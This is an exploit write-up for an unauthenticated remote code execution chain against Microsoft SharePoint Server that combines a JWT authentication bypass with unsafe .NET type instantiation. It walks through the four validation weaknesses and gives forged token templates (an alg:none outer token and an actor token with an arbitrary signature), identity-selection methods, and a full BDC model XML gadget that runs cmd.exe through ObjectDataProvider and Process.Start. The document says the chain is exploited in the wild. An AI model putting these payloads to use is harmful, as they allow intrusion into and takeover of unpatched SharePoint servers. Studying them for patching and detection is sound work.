
Exploit chain for unauthenticated RCE on Microsoft SharePoint, combining a JWT authentication bypass with unsafe .NET type instantiation to achieve code execution as the service account.
Unauthenticated RCE on Microsoft SharePoint Server. No credentials needed.
Stephen Fewer (Rapid7) demonstrated CVE-2026-55040 at Pwn2Own Berlin 2026. Rapid7 then discovered CVE-2026-63520 during follow-up research, and VulnCheck independently found an alternative gadget chain. Together, these two bugs give you unauthenticated remote code execution against any unpatched SharePoint on the internet.
CISA issued alerts within hours of the PoC dropping. It's being exploited in the wild.
Two bugs, one chain:
| CVE | Type | CVSS | What breaks |
|---|---|---|---|
| CVE-2026-55040 | JWT Authentication Bypass | 9.1 | SharePoint's S2S token validation has four independent weaknesses. Chain them and you forge a valid JWT for any user - including site admins - without knowing their password. |
| CVE-2026-63520 | Unsafe .NET Type Instantiation → RCE | 8.1 | Business Data Connectivity (BDC) resolves arbitrary .NET type names from uploaded XML without any allowlist. Point it at ObjectDataProvider and you get Process.Start(). |
Neither bug is interesting alone. CVE-2026-63520 requires authentication. CVE-2026-55040 gives you authentication. Together: unauthenticated RCE as the SharePoint service account.
SharePoint uses nested JWTs for server-to-server (S2S) auth. An outer token carries the user identity, an inner "actor token" represents the calling application. Four weaknesses in SPJsonWebSecurityTokenHandlerV2.ValidateToken() make the whole thing collapse:
Weakness 1 - Signature verification is off. The validator sets RequireSignedTokens = false. The outer token accepts alg: none. No signature needed.
Weakness 2 - x5t resolution without verification. The actor token's signing key is resolved by looking up the x5t (certificate thumbprint) header in the certificate store. SharePoint never checks whether the actor token's signature actually matches that key.
Weakness 3 - Issuer validation accepts unknown certs. ValidateIssuer() passes if the signing certificate isn't in the TrustedSecurityTokenServices collection. SharePoint's own STS cert isn't registered there. So referencing it via x5t passes issuer validation unconditionally.
Weakness 4 - Non-cryptographic signature check. GetTokenSignature() requires a non-empty string but does zero cryptographic validation. Any value works. AAAA works.
The STS certificate is public. You grab it from /_layouts/15/metadata/json/1 - an unauthenticated endpoint - compute the SHA-1 thumbprint, and you have everything you need.
Outer token (carries user identity):
// Header
{"alg": "none", "typ": "JWT"}
// Payload
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<target SID or UPN>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<inner JWT>"
}
// Signature: empty (alg:none)
Inner actor token (represents the "application"):
// Header
{"alg": "RS256", "typ": "JWT", "x5t": "<STS cert thumbprint>"}
// Payload
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// Signature: "AAAA" (literally anything non-empty)
Three ways to pick an identity:
| Mode | nameid | nii | What you need |
|---|---|---|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | Domain SID (via SMB null session) + RID brute |
| UPN | upn_bypass + upn claim | urn:office:idp:activedirectory | A valid UPN (e.g. [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | Nothing. Limited access but enough for some chains. |
SharePoint's Business Data Connectivity service lets admins define external data sources through BDC Model XML files (.bdcm). These models specify .NET types that BDC instantiates at runtime.
The problem is in DbTypeReflector.ResolveDotNetType():
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // any type in the GAC
Type names under 15 characters go through a safe resolver. Anything longer calls Type.GetType() directly - which resolves any assembly-qualified type name from the Global Assembly Cache. No allowlist. No blocklist. The attacker controls abstractTypeName through the BDCM XML.
We use System.Windows.Data.ObjectDataProvider from PresentationFramework. When you set its ObjectInstance property, it invokes MethodName on that instance. Set MethodName = "Start" and ObjectInstance = System.Diagnostics.Process with a crafted StartInfo, and BDC's property-setter reflection does the rest:
ObjectDataProvider created
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <payload>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ property setter triggers QueryWorker()
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
The BDCM XML that carries this:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
VulnCheck documented an alternative chain using System.Web.UI.LosFormatter with TypeConfuseDelegate deserialization via a DotNetAssembly LobSystem. Multiple gadgets work - the underlying primitive is unrestricted type instantiation.